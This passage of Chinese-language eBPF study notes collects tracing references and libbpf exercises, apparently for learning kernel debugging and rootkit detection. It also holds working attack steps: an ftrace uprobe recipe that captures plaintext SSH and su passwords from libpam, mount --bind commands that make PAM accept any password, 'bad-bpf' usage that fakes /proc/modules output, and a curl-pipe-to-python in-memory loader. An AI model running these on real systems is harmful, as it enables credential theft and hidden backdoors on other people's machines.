Kernel Hooking using eBPF - Pat H [2021-07-07] https://blog.tofile.dev/2021/07/07/ebpf-hooks.html (介绍BPF-HookDetect的原理,用到bpf_get_stackid) BPF-HookDetect https://github.com/pathtofile/bpf-hookdetect (Detect Kernel Rootkits hooking syscalls) Using eBPF to uncover in-memory loading - Pat H [2021-02-15] https://blog.tofile.dev/2021/02/15/ebpf-01.html (有个从内存中加载ELF的完整例子) (curl https://elf | python3 -c) BPF-PipeSnoop https://github.com/pathtofile/bpf-pipesnoop (using eBPF to log data being based in using shell pipes) DEF CON 29: Bad BPF - Warping reality using eBPF - Pat H [2021-08-01] https://blog.tofile.dev/2021/08/01/bad-bpf.html Bad BPF https://github.com/pathtofile/bad-bpf https://github.com/pathtofile/bad-bpf/blob/main/src/writeblocker.bpf.c (A collection of malicious eBPF programs) -------------------------------------------------------------------------- 6.2) 示例 /home/scz/src/bad-bpf-scz/src/bin bpfdos // sys_enter_ptrace // bpf_send_signal exechijack // sys_enter_execve // bpf_probe_write_user pidhide // sys_enter_getdents64 // bpf_tail_call、bpf_probe_write_user sudoadd // sys_enter_openat sys_enter_read /etc/sudoers // bpf_probe_write_user writeblocker // __x64_sys_write textreplace // sys_enter_openat sys_enter_read textreplace2 // 一个更高级的示例 cd /home/scz/src/bad-bpf-scz/src/bin ./writeblocker -p $(pidof vi) ./textreplace -f /proc/modules -i 'e1000' -r 'NSFOC' ./textreplace -f /sys/class/net/ens33/address \ -i $(cat /sys/class/net/ens33/address) \ -r '00:00:00:00:00:00' 只能骗"cat /sys/class/net/ens33/address",骗不了"ifconfig ens33" 7) libbpf (eBPF loader) libbpf号称要替换BCC,遍历 -------------------------------------------------------------------------- https://github.com/libbpf/libbpf https://github.com/iovisor/bcc/tree/master/libbpf-tools LIBBPF API https://libbpf.readthedocs.io/en/latest/api.html BPF Portability and CO-RE - Andrii Nakryiko [2020-02-19] https://facebookmicrosites.github.io/bpf/blog/2020/02/19/bpf-portability-and-co-re.html https://nakryiko.com/posts/bpf-portability-and-co-re/ BCC to libbpf conversion guide - Andrii Nakryiko [2020-02-20] https://facebookmicrosites.github.io/bpf/blog/2020/02/20/bcc-to-libbpf-howto-guide.html https://nakryiko.com/posts/bcc-to-libbpf-howto-guide/ (作者认为libbpf相比BCC更有优势) BPF CO-RE reference guide - Andrii Nakryiko [2021-10-24] https://nakryiko.com/posts/bpf-core-reference-guide/ (fentry/fexit/fmod_ret/tp_btf都是"BTF-enabled"的) Building BPF applications with libbpf-bootstrap - Andrii Nakryiko [2020-11-29] https://nakryiko.com/posts/libbpf-bootstrap/ https://github.com/libbpf/libbpf-bootstrap (不只是bootstrap.bpf.c,包含多个libbfp编程示例) https://github.com/torvalds/linux/blob/master/tools/testing/selftests/bpf/progs/test_attach_probe.c (有演示BPF_KSYSCALL的用法) Journey to libbpf 1.0 - Andrii Nakryiko [2022-08-22] https://nakryiko.com/posts/libbpf-v1/ Libbpf: the road to v1.0 https://github.com/libbpf/libbpf/wiki/Libbpf:-the-road-to-v1.0 Tips and Tricks for Writing Linux BPF Applications with libbpf - Wenbo Zhang [2020-12-14] https://www.pingcap.com/blog/tips-and-tricks-for-writing-linux-bpf-applications-with-libbpf/ (提到__uint(map_flags, BPF_F_NO_PREALLOC)) (提到bpf_map__resize,动态调整map大小) https://github.com/iovisor/bcc/blob/master/libbpf-tools/readahead.c (演示bpf_program__set_attach_target,主要用途是兼容性) -------------------------------------------------------------------------- 7.1) arg0 type FWD is not a struct 这是内核BUG,Kernel 5.15.78已修复此BUG -------------------------------------------------------------------------- "invalid bpf_context access" when trying to read `regs` parameter - [2022-07-01] https://stackoverflow.com/questions/72824924/invalid-bpf-context-access-when-trying-to-read-regs-parameter https://github.com/harai/invalidbpfcontext https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.15.78 (This issue has been fixed in Linux 5.15.78) (搜"With just the forward declaration") -------------------------------------------------------------------------- 7.2) connect_block.bpf.c 练习题,将bpftrace版的connect_block.bt翻译成libbpf版 7.2.1) bpf_strncmp 参看 -------------------------------------------------------------------------- introduce bpf_strncmp() helper - [2021-11-30] https://lore.kernel.org/bpf/20211130142215.1237217-1-houtao1@huawei.com/T/ https://stackoverflow.com/questions/73430502/ebpf-unknown-opcode-comparing-strings https://stackoverflow.com/questions/60383861/failure-to-compare-strings-with-ebpf -------------------------------------------------------------------------- 在eBPF代码中进行字符串比较一直不尽人意,这与eBPF的校验器有关,安全稳定是 eBPF的首要原则。libbpf 0.5.0没有bpf_strncmp,用git拉最新版libbpf,自编译之, 支持bpf_strncmp;但Kernel 5.15.0-52不支持bpf_strncmp。 内核支持的bpf-helpers(7)函数可在/proc/kallsyms中找到,比如 $ grep -w bpf_get_current_comm /proc/kallsyms ffffffffa3e61de0 T bpf_get_current_comm $ grep -w bpf_strncmp /proc/kallsyms (无输出) 内核支持的bpf-helpers(7)函数在vmlinux.h中有相应的枚举值 -------------------------------------------------------------------------- enum bpf_func_id { ... BPF_FUNC_get_current_pid_tgid = 14, BPF_FUNC_get_current_uid_gid = 15, BPF_FUNC_get_current_comm = 16, ... }; -------------------------------------------------------------------------- $ grep BPF_FUNC_strncmp vmlinux.h (无输出) 7.3) pamsnoop.bpf.c 练习题,将bpftrace版的pamsnoop.bt翻译成libbpf版 7.4) 基于eBPF的后门口令 7.4.2) _unix_verify_password pam_unix!_unix_verify_password函数原型如下 -------------------------------------------------------------------------- /* * \pam-1.4.0\modules\pam_unix\support.c */ int _unix_verify_password ( pam_handle_t *pamh, // rdi /* * user */ const char *name, // rsi /* * pass */ const char *p, // rdx unsigned long long ctrl // rcx ) -------------------------------------------------------------------------- 形参name即user,形参p即输入的明文pass,但_unix_verify_password未被导出,导 出了pam_sm_authenticate。 -------------------------------------------------------------------------- pam_sm_authenticate // 导出符号 pam_get_user // 取user pam_get_authtok // 取pass _unix_verify_password // 检查user/pass verify_pwd_hash // 编译时被inline展开了 -------------------------------------------------------------------------- 7.4.4) 用stap查看相关函数调用栈回溯 stap -d /usr/bin/su \ -d /usr/sbin/sshd \ -d /usr/lib/x86_64-linux-gnu/security/pam_unix.so --ldd \ -e 'probe process("/lib/x86_64-linux-gnu/libpam.so.0").function("pam_get_authtok") { print_ubacktrace();println()}' stap -d /usr/bin/su \ -d /usr/sbin/sshd \ -d /usr/lib/x86_64-linux-gnu/security/pam_unix.so --ldd \ -e 'probe process("/usr/lib/x86_64-linux-gnu/security/pam_unix.so").function("_unix_verify_password") { print_ubacktrace();println()}' 参看stapprobes(3stap),stap支持拦截16进制地址,而不是拦截符号。实测发现不 是所有地址都可拦截,看上去stap的反汇编引擎、符号解析引擎有BUG。再就是,好 像目标ELF必须有符号信息才行,即使指定16进制地址,相比之下eBPF、ftrace没有 这种限制。 7.4.5) verify_pwd_hash 参看 https://github.com/linux-pam/linux-pam/blob/master/modules/pam_unix/passverify.c 有个verify_pwd_hash函数,_unix_verify_password会调verify_pwd_hash,但后者 被inline展开了,pam_unix.dbg没有verify_pwd_hash这个符号,只能用逆向工程的 套路定位被inline展开的verify_pwd_hash。 7.4.6) pamtamper.bpf.c 参看 基于eBPF的SSH后门 - treebacker [2021-11-29] https://xz.aliyun.com/t/10564 练习题,用libbpf实现该作者的思路。 7.4.7) 用ftrace/uprobe_events嗅探明文口令 用eBPF嗅探SSH登录或者su的明文口令,都需要编程,需要第三方工具。可用OS自带 的ftrace/uprobe_events达成同一目的,但ftrace只能嗅探明文口令,没法修改hash。 对于bpftrace或libbpf编程,可用uprobe+uretprobe对付out型参数;对于利用shell 命令进行文件操作的ftrace,并不便于uprobe+uretprobe,此处不考虑C编程或shell script操作ftrace。 可在pam_get_authtok函数返回后利用rdi寄存器残像,其等于pamh,进而获取 pamh->user、pamh->authtok。利用寄存器残像属于Hacking,有人对寄存器残像不理 解,rdi、rsi、rdx、rcx对应前4个形参,这些都属于易失性寄存器,进入函数后不 会在prologue阶段压栈保存,离开函数前不会在epilogue阶段弹栈恢复。有人在 pam_get_authtok函数返回后同时利用rdi、rdx寄存器残像,理解其原理时无妨,切 不可误以为pam_get_authtok第1、3形参在uretprobe处未变,rdi只是碰巧恢复了, rdx则完全不等于原第3形参authtok,rdx实际等于pamh->authtok。 下面的ftrace利用寄存器残像嗅探user、pass -------------------------------------------------------------------------- cd /sys/kernel/tracing echo > trace echo 'r:some_event /lib/x86_64-linux-gnu/libpam.so.0:0x88b0 comm=$comm user=+0(+0x30(%di)):string pass=+0(+0(%di)):string' > uprobe_events cat events/uprobes/some_event/format echo 1 > events/uprobes/some_event/enable echo 1 > tracing_on cat /sys/kernel/tracing/trace_pipe ... echo 0 > tracing_on echo 0 > events/uprobes/some_event/enable echo '-:some_event' >> uprobe_events -------------------------------------------------------------------------- 用ftrace嗅探明文口令意义有限,毕竟只有root才能ftrace。 7.4.8) 基于pam_permit.so的后门 参看 Linux Pam后门总结拓展 - [2020-06-22] https://xz.aliyun.com/t/7902 学到一些歪招 mount --bind /lib/x86_64-linux-gnu/security/pam_permit.so /lib/x86_64-linux-gnu/security/pam_unix.so umount /lib/x86_64-linux-gnu/security/pam_unix.so 第一条mount命令使得将来试图加载pam_unix.so时实际加载pam_permit.so,效果是 任意口令均能认证成功,可用SSH登录及su测试之。过去我不知道"mount --bind"还 能操作单个文件,此次专门看了一眼man手册,确实有一句 One can also remount a single file (on a single file) 参看 /etc/pam.d/common-auth 认证失败时会用pam_deny.so,同样可以用mount屏蔽之 mount --bind /lib/x86_64-linux-gnu/security/pam_permit.so /lib/x86_64-linux-gnu/security/pam_deny.so umount /lib/x86_64-linux-gnu/security/pam_deny.so 7.5) ttysnoop.bpf.c 练习题,将BCC版的ttysnoop.py翻译成libbpf版 8) libbpf-bootstrap 8.1) 编译 参看 《GIT与GFW》 https://scz.617.cn/unix/202211231303.txt 8.2) eBPF代码兼容性 参看 -------------------------------------------------------------------------- BPF Portability and CO-RE - Andrii Nakryiko [2020-02-19] https://nakryiko.com/posts/bpf-portability-and-co-re/ BPF CO-RE reference guide - Andrii Nakryiko [2021-10-24] https://nakryiko.com/posts/bpf-core-reference-guide/ -------------------------------------------------------------------------- 内核支持BTF时,可以不依赖bpf_probe_read()而用C语法读取内核态内存,搜 "field offset relocation"。 利用bpftool生成vmlinux.h,可以代替所有的内核头文件,其中甚至包含从未导出的 内部数据结构;但它不包含#define定义的宏,有时必须在some.bpf.c中自定义宏。 BCC可以写"pid_t pid = task->pid",是因为BCC会将之替换成bpf_probe_read()。 即使没有BCC的魔法替换机制,若eBPF代码是BTF_PROG_TYPE_TRACING型,eBPF引擎借 助BTF可以理解C语法,可以直接写"task->pid"。兼容性更好的写法是 "BPF_CORE_READ(task, pid)"。 BPF_CORE_READ_BITFIELD只能用于"BTF-enabled"的eBPF代码,比如fentry、fexit、 fmod_ret、tp_btf等。 9) 其他文献 前面说"遍历"的,就是要一个字一个字看过去的,有些我反复看过,第二遍看比第一 遍看领会更多。后面是一些其他相关文献,时间允许时,建议也遍历之。 -------------------------------------------------------------------------- BPF Documentation https://docs.kernel.org/bpf/ Linux Extended BPF (eBPF) Tracing Tools https://www.brendangregg.com/ebpf.html Linux Tracing Workshops Materials https://github.com/goldshtn/linux-tracing-workshop Comparing SystemTap and bpftrace - Emanuele Rocca [2021-04-13] https://lwn.net/Articles/852112/ bpf: whitelist all syscalls for error injection - [2018-03-21] https://lore.kernel.org/lkml/20180322015908.30433-1-hmclauchlan@fb.com/ Full-system dynamic tracing on Linux using eBPF and bpftrace - Hongli Lai [2019-01-31] https://www.joyfulbikeshedding.com/blog/2019-01-31-full-system-dynamic-tracing-on-linux-using-ebpf-and-bpftrace.html (有些内容已经过时,但基本框架适用) Kernel journey with bpftrace - [2020-05-31] https://www.dlee-libo.tk/2020/05/31/bpftrace-kernel-journey/ How an Obscure ARM64 Link Option Broke Our BPF Probe - [2022-08-31] https://rhysre.net/how-an-obscure-arm64-link-option-broke-our-bpf-probe.html (bpftool btf dump file /sys/kernel/btf/vmlinux format raw | grep tty_write) Intercepting Zoom's encrypted data with BPF - [2020-10-12] https://confused.ai/posts/intercepting-zoom-tls-encryption-bpf-uprobes Tracee: Runtime Security and Forensics using eBPF https://github.com/aquasecurity/tracee/ https://aquasecurity.github.io/tracee/dev/ System call hooking example arguments are incorrect - [2020-01-22] https://stackoverflow.com/questions/59851520/system-call-hooking-example-arguments-are-incorrect use struct pt_regs based syscall calling for x86-64 - Dominik Brodowski [2018-03-30] https://lwn.net/Articles/750536/ bpf: hash map pre-alloc - Alexei Starovoitov [2016-03-06] https://lwn.net/Articles/679074/ eBPF IDA Proc https://github.com/cylance/eBPF_processor (可以利用IDA的图形化模式) 定制bcc/ebpf在android平台上实现基于dwarf的用户态栈回溯 - 飞翔的猫咪 [2022-09-27] https://bbs.pediy.com/thread-274546.htm Linux内核监控在Android攻防中的应用 - evilpan [2022-01-03] https://evilpan.com/2022/01/03/kernel-tracing/ https://bbs.pediy.com/thread-271043.htm -------------------------------------------------------------------------- 10) eBPF入门小结 我将eBPF视作调试工具,对直方图之类的统计功能毫无兴趣,前面是我推荐的学习路 线。从实践角度看,eBPF涉及bpftrace、BCC Python Bindings、libbpf编程。底层 ftrace值得了解一下。若有DTrace、SystemTap经验,学习eBPF会省些事,没有也无 所谓。简而言之,依次学习bpftrace、BCC、libbpf。可以预设一些具体小目标,实 践之。 最初我对libbpf不感冒,后来发现,libbpf最具实用性,尤其当你的eBPF代码需要在 陌生环境中运行时。不像bpftrace、BCC需要一大堆依赖,特别重型,静态链接 libbpf的ELF可以随身携带。对于ttysnoop、pamsnoop、pamtamper这类功能来说,显 然libbpf化才有实战意义。